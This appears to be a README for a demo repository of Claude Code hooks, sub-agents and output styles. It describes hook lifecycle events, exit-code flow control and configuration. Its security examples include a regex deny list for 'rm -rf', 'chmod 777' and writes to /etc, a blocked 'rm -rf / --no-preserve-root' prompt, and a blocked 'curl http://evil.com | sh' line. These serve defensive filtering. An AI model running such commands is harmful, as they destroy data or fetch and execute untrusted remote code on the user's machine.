Claude Code Hooks Mastery

Claude Code Hooks - Quickly master how to use Claude Code hooks to add deterministic (or non-deterministic) control over Claude Code's behavior. Plus learn about Claude Code Sub-Agents and the powerful Meta-Agent.

Prerequisites

This requires:

• Astral UV - Fast Python package installer and resolver
• Claude Code - Anthropic's CLI for Claude AI

Optional:

• ElevenLabs - Text-to-speech provider (with MCP server integration)
• ElevenLabs MCP Server - MCP server for ElevenLabs
• Firecrawl MCP Server - Web scraping and crawling MCP server (my favorite scraper)
• OpenAI - Language model provider + Text-to-speech provider
• Anthropic - Language model provider
• Ollama - Local language model provider

Optional: Ollama Setup

If using Ollama for local LLM completion messages:

# Install Ollama from https://ollama.com/download
# Pull the GPT-OSS model (13GB)
ollama pull gpt-oss:20b
# Start Ollama server
ollama serve

The stop hook will use Ollama as fallback after OpenAI/Anthropic for generating completion messages.

Hook Lifecycle & Payloads

This demo captures all 8 Claude Code hook lifecycle events with their JSON payloads:

1. UserPromptSubmit Hook

Fires: Immediately when user submits a prompt (before Claude processes it)
Payload: prompt text, session_id, timestamp
Enhanced: Prompt validation, logging, context injection, security filtering

2. PreToolUse Hook

Fires: Before any tool execution
Payload: tool_name, tool_input parameters
Enhanced: Blocks dangerous commands (rm -rf, .env access)

3. PostToolUse Hook

Fires: After successful tool completion
Payload: tool_name, tool_input, tool_response with results

4. Notification Hook

Fires: When Claude Code sends notifications (waiting for input, etc.)
Payload: message content
Enhanced: TTS alerts - "Your agent needs your input" (30% chance includes name)

5. Stop Hook

Fires: When Claude Code finishes responding
Payload: stop_hook_active boolean flag
Enhanced: AI-generated completion messages with TTS playback (LLM priority: OpenAI > Anthropic > Ollama > random)

6. SubagentStop Hook

Fires: When Claude Code subagents (Task tools) finish responding
Payload: stop_hook_active boolean flag
Enhanced: TTS playback - "Subagent Complete"

7. PreCompact Hook

Fires: Before Claude Code performs a compaction operation
Payload: trigger ("manual" or "auto"), custom_instructions (for manual), session info
Enhanced: Transcript backup, verbose feedback for manual compaction

8. SessionStart Hook

Fires: When Claude Code starts a new session or resumes an existing one
Payload: source ("startup", "resume", or "clear"), session info
Enhanced: Development context loading (git status, recent issues, context files)

What This Shows

• Complete hook lifecycle coverage - All 8 hook events implemented and logging
• Prompt-level control - UserPromptSubmit validates and enhances prompts before Claude sees them
• Intelligent TTS system - AI-generated audio feedback with voice priority (ElevenLabs > OpenAI > pyttsx3)
• Security enhancements - Blocks dangerous commands and sensitive file access at multiple levels
• Personalized experience - Uses engineer name from environment variables
• Automatic logging - All hook events are logged as JSON to logs/ directory
• Chat transcript extraction - PostToolUse hook converts JSONL transcripts to readable JSON format

Warning: The chat.json file contains only the most recent Claude Code conversation. It does not preserve conversations from previous sessions - each new conversation is fully copied and overwrites the previous one. This is unlike the other logs which are appended to from every claude code session.

UV Single-File Scripts Architecture

This project leverages UV single-file scripts to keep hook logic cleanly separated from your main codebase. All hooks live in .claude/hooks/ as standalone Python scripts with embedded dependency declarations.

Benefits:

• Isolation - Hook logic stays separate from your project dependencies
• Portability - Each hook script declares its own dependencies inline
• No Virtual Environment Management - UV handles dependencies automatically
• Fast Execution - UV's dependency resolution is lightning-fast
• Self-Contained - Each hook can be understood and modified independently

This approach ensures your hooks remain functional across different environments without polluting your main project's dependency tree.

Key Files

• .claude/settings.json - Hook configuration with permissions
• .claude/hooks/ - Python scripts using uv for each hook type
  • user_prompt_submit.py - Prompt validation, logging, and context injection
  • pre_tool_use.py - Security blocking and logging
  • post_tool_use.py - Logging and transcript conversion
  • notification.py - Logging with optional TTS (--notify flag)
  • stop.py - AI-generated completion messages with TTS
  • subagent_stop.py - Simple "Subagent Complete" TTS
  • pre_compact.py - Transcript backup and compaction logging
  • session_start.py - Development context loading and session logging
  • utils/ - Intelligent TTS and LLM utility scripts
    • tts/ - Text-to-speech providers (ElevenLabs, OpenAI, pyttsx3)
    • llm/ - Language model integrations (OpenAI, Anthropic, Ollama)
• .claude/status_lines/ - Real-time terminal status displays
  • status_line.py - Basic MVP with git info
  • status_line_v2.py - Smart prompts with color coding
  • status_line_v3.py - Agent sessions with history
  • status_line_v4.py - Extended metadata support
• .claude/output-styles/ - Response formatting configurations
  • genui.md - Generates beautiful HTML with embedded styling
  • table-based.md - Organizes information in markdown tables
  • yaml-structured.md - YAML configuration format
  • bullet-points.md - Clean nested lists
  • ultra-concise.md - Minimal words, maximum speed
  • html-structured.md - Semantic HTML5
  • markdown-focused.md - Rich markdown features
  • tts-summary.md - Audio feedback via TTS
• .claude/commands/ - Custom slash commands
  • prime.md - Project analysis and understanding
  • crypto_research.md - Cryptocurrency research workflows
  • cook.md - Advanced task execution
  • update_status_line.md - Dynamic status updates
• .claude/agents/ - Sub-agent configurations
  • crypto/ - Cryptocurrency analysis agents
  • hello-world-agent.md - Simple greeting example
  • llm-ai-agents-and-eng-research.md - AI research specialist
  • meta-agent.md - Agent that creates other agents
  • work-completion-summary.md - Audio summary generator
• logs/ - JSON logs of all hook executions
  • user_prompt_submit.json - User prompt submissions with validation
  • pre_tool_use.json - Tool use events with security blocking
  • post_tool_use.json - Tool completion events
  • notification.json - Notification events
  • stop.json - Stop events with completion messages
  • subagent_stop.json - Subagent completion events
  • pre_compact.json - Pre-compaction events with trigger type
  • session_start.json - Session start events with source type
  • chat.json - Readable conversation transcript (generated by --chat flag)
• ai_docs/ - Documentation resources
  • cc_hooks_docs.md - Complete hooks documentation from Anthropic
  • user_prompt_submit_hook.md - Comprehensive UserPromptSubmit hook documentation
  • uv-single-file-scripts.md - UV script architecture documentation
  • anthropic_custom_slash_commands.md - Slash commands documentation
  • anthropic_docs_subagents.md - Sub-agents documentation

Hooks provide deterministic control over Claude Code behavior without relying on LLM decisions.

Features Demonstrated

• Prompt validation and security filtering
• Context injection for enhanced AI responses
• Command logging and auditing
• Automatic transcript conversion
• Permission-based tool access control
• Error handling in hook execution

Run any Claude Code command to see hooks in action via the logs/ files.

Hook Error Codes & Flow Control

Claude Code hooks provide powerful mechanisms to control execution flow and provide feedback through exit codes and structured JSON output.

Exit Code Behavior

Hooks communicate status and control flow through exit codes:

Exit Code	Behavior	Description
0	Success	Hook executed successfully. stdout shown to user in transcript mode (Ctrl-R)
2	Blocking Error	Critical: stderr is fed back to Claude automatically. See hook-specific behavior below
Other	Non-blocking Error	stderr shown to user, execution continues normally

Hook-Specific Flow Control

Each hook type has different capabilities for blocking and controlling Claude Code's behavior:

UserPromptSubmit Hook - CAN BLOCK PROMPTS & ADD CONTEXT

• Primary Control Point: Intercepts user prompts before Claude processes them
• Exit Code 2 Behavior: Blocks the prompt entirely, shows error message to user
• Use Cases: Prompt validation, security filtering, context injection, audit logging
• Example: Our user_prompt_submit.py logs all prompts and can validate them

PreToolUse Hook - CAN BLOCK TOOL EXECUTION

• Primary Control Point: Intercepts tool calls before they execute
• Exit Code 2 Behavior: Blocks the tool call entirely, shows error message to Claude
• Use Cases: Security validation, parameter checking, dangerous command prevention
• Example: Our pre_tool_use.py blocks rm -rf commands with exit code 2

# Block dangerous commands
if is_dangerous_rm_command(command):
    print("BLOCKED: Dangerous rm command detected", file=sys.stderr)
    sys.exit(2)  # Blocks tool call, shows error to Claude

PostToolUse Hook - CANNOT BLOCK (Tool Already Executed)

• Primary Control Point: Provides feedback after tool completion
• Exit Code 2 Behavior: Shows error to Claude (tool already ran, cannot be undone)
• Use Cases: Validation of results, formatting, cleanup, logging
• Limitation: Cannot prevent tool execution since it fires after completion

Notification Hook - CANNOT BLOCK

• Primary Control Point: Handles Claude Code notifications
• Exit Code 2 Behavior: N/A - shows stderr to user only, no blocking capability
• Use Cases: Custom notifications, logging, user alerts
• Limitation: Cannot control Claude Code behavior, purely informational

Stop Hook - CAN BLOCK STOPPING

• Primary Control Point: Intercepts when Claude Code tries to finish responding
• Exit Code 2 Behavior: Blocks stoppage, shows error to Claude (forces continuation)
• Use Cases: Ensuring tasks complete, validation of final state use this to FORCE CONTINUATION
• Caution: Can cause infinite loops if not properly controlled

SubagentStop Hook - CAN BLOCK SUBAGENT STOPPING

• Primary Control Point: Intercepts when Claude Code subagents try to finish
• Exit Code 2 Behavior: Blocks subagent stoppage, shows error to subagent
• Use Cases: Ensuring subagent tasks complete properly
• Example: Our subagent_stop.py logs events and announces completion

PreCompact Hook - CANNOT BLOCK

• Primary Control Point: Fires before compaction operations
• Exit Code 2 Behavior: N/A - shows stderr to user only, no blocking capability
• Use Cases: Transcript backup, context preservation, pre-compaction logging
• Example: Our pre_compact.py creates transcript backups before compaction

SessionStart Hook - CANNOT BLOCK

• Primary Control Point: Fires when new sessions start or resume
• Exit Code 2 Behavior: N/A - shows stderr to user only, no blocking capability
• Use Cases: Loading development context, session initialization, environment setup
• Example: Our session_start.py loads git status, recent issues, and context files

Advanced JSON Output Control

Beyond simple exit codes, hooks can return structured JSON for sophisticated control:

Common JSON Fields (All Hook Types)

{
  "continue": true,           // Whether Claude should continue (default: true)
  "stopReason": "string",     // Message when continue=false (shown to user)
  "suppressOutput": true      // Hide stdout from transcript (default: false)
}

PreToolUse Decision Control

{
  "decision": "approve" | "block" | undefined,
  "reason": "Explanation for decision"
}

• "approve": Bypasses permission system, reason shown to user
• "block": Prevents tool execution, reason shown to Claude
• undefined: Normal permission flow, reason ignored

PostToolUse Decision Control

{
  "decision": "block" | undefined,
  "reason": "Explanation for decision"
}

• "block": Automatically prompts Claude with reason
• undefined: No action, reason ignored

Stop Decision Control

{
  "decision": "block" | undefined,
  "reason": "Must be provided when blocking Claude from stopping"
}

• "block": Prevents Claude from stopping, reason tells Claude how to proceed
• undefined: Allows normal stopping, reason ignored

Flow Control Priority

When multiple control mechanisms are used, they follow this priority:

1. "continue": false - Takes precedence over all other controls
2. "decision": "block" - Hook-specific blocking behavior
3. Exit Code 2 - Simple blocking via stderr
4. Other Exit Codes - Non-blocking errors

Security Implementation Examples

1. Command Validation (PreToolUse)

# Block dangerous patterns
dangerous_patterns = [
    r'rm\s+.*-[rf]',           # rm -rf variants
    r'sudo\s+rm',              # sudo rm commands
    r'chmod\s+777',            # Dangerous permissions
    r'>\s*/etc/',              # Writing to system directories
]

for pattern in dangerous_patterns:
    if re.search(pattern, command, re.IGNORECASE):
        print(f"BLOCKED: {pattern} detected", file=sys.stderr)
        sys.exit(2)

2. Result Validation (PostToolUse)

# Validate file operations
if tool_name == "Write" and not tool_response.get("success"):
    output = {
        "decision": "block",
        "reason": "File write operation failed, please check permissions and retry"
    }
    print(json.dumps(output))
    sys.exit(0)

3. Completion Validation (Stop Hook)

# Ensure critical tasks are complete
if not all_tests_passed():
    output = {
        "decision": "block",
        "reason": "Tests are failing. Please fix failing tests before completing."
    }
    print(json.dumps(output))
    sys.exit(0)

Hook Execution Environment

• Timeout: 60-second execution limit per hook
• Parallelization: All matching hooks run in parallel
• Environment: Inherits Claude Code's environment variables
• Working Directory: Runs in current project directory
• Input: JSON via stdin with session and tool data
• Output: Processed via stdout/stderr with exit codes

UserPromptSubmit Hook Deep Dive

The UserPromptSubmit hook is the first line of defense and enhancement for Claude Code interactions. It fires immediately when you submit a prompt, before Claude even begins processing it.

What It Can Do

1. Log prompts - Records every prompt with timestamp and session ID
2. Block prompts - Exit code 2 prevents Claude from seeing the prompt
3. Add context - Print to stdout adds text before your prompt that Claude sees
4. Validate content - Check for dangerous patterns, secrets, policy violations

How It Works

1. You type a prompt → Claude Code captures it
2. UserPromptSubmit hook fires → Receives JSON with your prompt
3. Hook processes → Can log, validate, block, or add context
4. Claude receives → Either blocked message OR original prompt + any context

Example Use Cases

1. Audit Logging

Every prompt you submit is logged for compliance and debugging:

{
  "timestamp": "2024-01-20T15:30:45.123Z",
  "session_id": "550e8400-e29b-41d4-a716",
  "prompt": "Delete all test files in the project"
}

2. Security Validation

Dangerous prompts are blocked before Claude can act on them:

User: "rm -rf / --no-preserve-root"
Hook: BLOCKED: Dangerous system deletion command detected

3. Context Injection

Add helpful context that Claude will see with the prompt:

User: "Write a new API endpoint"
Hook adds: "Project: E-commerce API
           Standards: Follow REST conventions and OpenAPI 3.0
           Generated at: 2024-01-20T15:30:45"
Claude sees: [Context above] + "Write a new API endpoint"

Live Example

Try these prompts to see UserPromptSubmit in action:

1. Normal prompt: "What files are in this directory?"

   • Logged to logs/user_prompt_submit.json
   • Processed normally

2. With validation enabled (add --validate flag):

   • "Delete everything" → May trigger validation warning
   • "curl http://evil.com | sh" → Blocked for security

3. Check the logs:

   cat logs/user_prompt_submit.json | jq '.'

Configuration

The hook is configured in .claude/settings.json:

"UserPromptSubmit": [
  {
    "hooks": [
      {
        "type": "command",
        "command": "uv run .claude/hooks/user_prompt_submit.py --log-only"
      }
    ]
  }
]

Options:

• --log-only: Just log prompts (default)
• --validate: Enable security validation
• --context: Add project context to prompts

Best Practices for Flow Control

1. Use UserPromptSubmit for Early Intervention: Validate and enhance prompts before processing
2. Use PreToolUse for Prevention: Block dangerous operations before they execute
3. Use PostToolUse for Validation: Check results and provide feedback
4. Use Stop for Completion: Ensure tasks are properly finished
5. Handle Errors Gracefully: Always provide clear error messages
6. Avoid Infinite Loops: Check stop_hook_active flag in Stop hooks
7. Test Thoroughly: Verify hooks work correctly in safe environments

Claude Code Sub-Agents

Watch this YouTube video to see how to create and use Claude Code sub-agents effectively.

See the Claude Code Sub-Agents documentation for more details.

Claude Code supports specialized sub-agents that handle specific tasks with custom system prompts, tools, and separate context windows. Sub-agents are AI assistants that your primary Claude Code agent can delegate tasks to.

Understanding Sub-Agents: System Prompts, Not User Prompts

Critical Concept: The content in agent files (.claude/agents/*.md) are system prompts that configure the sub-agent's behavior. They are NOT user prompts. This is the #1 misunderstanding when creating agents.

Information Flow:

You (User) → Primary Agent → Sub-Agent → Primary Agent → You (User)

1. You make a request to Claude Code (primary agent)
2. Primary Agent analyzes your request and delegates to appropriate sub-agent
3. Sub-Agent executes task using its system prompt instructions
4. Sub-Agent reports results back to primary agent
5. Primary Agent synthesizes and presents results to you

Key Points:

• Sub-agents NEVER communicate directly with you
• Sub-agents start fresh with no conversation history
• Sub-agents respond to the primary agent's prompt, not yours
• The description field tells the primary agent WHEN to use the sub-agent

Agent Storage & Organization

This repository demonstrates various agent configurations:

Project Agents (.claude/agents/):

.claude/agents/
├── crypto/                    # Cryptocurrency analysis agents
│   ├── crypto-coin-analyzer-haiku.md
│   ├── crypto-coin-analyzer-opus.md
│   ├── crypto-coin-analyzer-sonnet.md
│   ├── crypto-investment-plays-*.md
│   ├── crypto-market-agent-*.md
│   ├── crypto-movers-haiku.md
│   └── macro-crypto-correlation-scanner-*.md
├── hello-world-agent.md       # Simple greeting agent
├── llm-ai-agents-and-eng-research.md  # AI research specialist
├── meta-agent.md              # Agent that creates agents
└── work-completion-summary.md # Audio summary generator

Storage Hierarchy:

• Project agents: .claude/agents/ (higher priority, project-specific)
• User agents: ~/.claude/agents/ (lower priority, available across all projects)
• Format: Markdown files with YAML frontmatter

Agent File Structure:

---
name: agent-name
description: When to use this agent (critical for automatic delegation)
tools: Tool1, Tool2, Tool3  # Optional - inherits all tools if omitted
color: Cyan  # Visual identifier in terminal
model: opus # Optional - haiku | sonnet | opus - defaults to sonnet
---

# Purpose
You are a [role definition]. 

## Instructions
1. Step-by-step instructions
2. What the agent should do
3. How to report results

## Report/Response Format
Specify how the agent should communicate results back to the primary agent.

Sub-agents enable:

• Task specialization - Code reviewers, debuggers, test runners
• Context preservation - Each agent operates independently
• Tool restrictions - Grant only necessary permissions
• Automatic delegation - Claude proactively uses the right agent

Key Engineering Insights

Two Critical Mistakes to Avoid:

1. Misunderstanding the System Prompt - What you write in agent files is the system prompt, not a user prompt. This changes how you structure instructions and what information is available to the agent.

2. Ignoring Information Flow - Sub-agents respond to your primary agent, not to you. Your primary agent prompts sub-agents based on your original request, and sub-agents report back to the primary agent, which then reports to you.

Best Practices:

• Use the description field to tell your primary agent when and how to prompt sub-agents
• Include phrases like "use PROACTIVELY" or trigger words (e.g., "if they say TTS") in descriptions
• Remember sub-agents start fresh with no context - be explicit about what they need to know
• Follow Problem → Solution → Technology approach when building agents

Complex Workflows & Agent Chaining

Claude Code can intelligently chain multiple sub-agents together for complex tasks:

For example:

• "First analyze the market with crypto-market-agent, then use crypto-investment-plays to find opportunities"
• "Use the debugger agent to fix errors, then have the code-reviewer check the changes"
• "Generate a new agent with meta-agent, then test it on a specific task"

This chaining allows you to build sophisticated workflows while maintaining clean separation of concerns.

The Meta-Agent

The meta-agent (.claude/agents/meta-agent.md) is a specialized sub-agent that generates new sub-agents from descriptions. It's the "agent that builds agents" - a critical tool for scaling your agent development velocity.

Why Meta-Agent Matters:

• Rapid Agent Creation - Build dozens of specialized agents in minutes instead of hours
• Consistent Structure - Ensures all agents follow best practices and proper formatting
• Live Documentation - Pulls latest Claude Code docs to stay current with features
• Intelligent Tool Selection - Automatically determines minimal tool requirements

Using the Meta-Agent:

# Simply describe what you want
"Build a new sub-agent that runs tests and fixes failures"

# Claude Code will automatically delegate to meta-agent
# which will create a properly formatted agent file

The meta-agent follows the principle: "Figure out how to scale it up. Build the thing that builds the thing." This compound effect accelerates your engineering capabilities exponentially.

Output Styles Collection

Watch the walkthrough: See these features in action at https://youtu.be/mJhsWrEv-Go

This project includes a comprehensive collection of custom output styles (.claude/output-styles/) that transform how Claude Code communicates responses. See the official documentation for complete details on how output styles work.

Style	Description	Best For
genui ⭐	Generates beautiful HTML with embedded styling	Interactive visual outputs, instant browser preview
table-based	Organizes all information in markdown tables	Comparisons, structured data, status reports
yaml-structured	Formats responses as YAML configuration	Settings, hierarchical data, API responses
bullet-points	Clean nested lists with dashes and numbers	Action items, documentation, task tracking
ultra-concise	Minimal words, maximum speed	Experienced devs, rapid prototyping
html-structured	Semantic HTML5 with data attributes	Web documentation, rich formatting
markdown-focused	Leverages all markdown features optimally	Complex documentation, mixed content
tts-summary	Announces task completion via ElevenLabs TTS	Audio feedback, accessibility

Usage: Run /output-style [name] to activate any style (e.g., /output-style table-based)

Location:

• Project styles: .claude/output-styles/*.md (this repo)
• User styles: ~/.claude/output-styles/*.md (global)

Output styles modify Claude's system prompt to change response formatting without affecting core functionality. Each style is a markdown file with YAML frontmatter defining the name, description, and formatting instructions.

Custom Status Lines

Watch the walkthrough: See these features in action at https://youtu.be/mJhsWrEv-Go

This project includes enhanced Claude Code status lines that display real-time conversation context. Status lines provide dynamic information at the bottom of your terminal during Claude Code sessions. See the official documentation for complete details.

Available Status Lines

Location: .claude/status_lines/

Version	File	Description	Features
v1	status_line.py	Basic MVP	Git branch, directory, model info
v2	status_line_v2.py	Smart prompts	Latest prompt (250 chars), color-coded by task type
v3	status_line_v3.py	Agent sessions	Agent name, model, last 3 prompts
v4	status_line_v4.py	Extended metadata	Agent name, model, latest prompt, custom key-value pairs

Session Management

Status lines leverage session data stored in .claude/data/sessions/<session_id>.json:

{
  "session_id": "unique-session-id",
  "prompts": ["first prompt", "second prompt", ...],
  "agent_name": "Phoenix",  // Auto-generated unique name
  "extras": {              // v4: Custom metadata (optional)
    "project": "myapp",
    "status": "debugging",
    "environment": "prod"
  }
}

Agent Naming:

• Automatically generates unique agent names using LLM services
• Priority: Ollama (local) → Anthropic → OpenAI → Fallback names
• Names are single-word, memorable identifiers (e.g., Phoenix, Sage, Nova)
• Enabled via --name-agent flag in user_prompt_submit.py

Custom Metadata (v4):

• Use /update_status_line command to add custom key-value pairs
• Displayed at the end of the status line in cyan brackets
• Persists across Claude Code interactions
• Example: /update_status_line <session_id> project myapp

Configuration

Set your preferred status line in .claude/settings.json:

{
  "StatusLine": {
    "command": "uv run .claude/status_lines/status_line_v3.py"
  }
}

Status Line Features:

• Real-time updates - Refreshes on message changes (300ms throttle)
• Color coding - Visual indicators for different task types
• Smart truncation - Manages long prompts elegantly
• Session persistence - Maintains context across interactions

Task Type Indicators (v2/v3):

• 🔍 Purple - Analysis/search tasks
• 💡 Green - Creation/implementation tasks
• 🔧 Yellow - Fix/debug tasks
• 🗑️ Red - Deletion tasks
• ❓ Blue - Questions
• 💬 Default - General conversation

Master AI Coding

And prepare for Agentic Engineering

Learn to code with AI with foundational Principles of AI Coding

Follow the IndyDevDan youtube channel for more AI coding tips and tricks.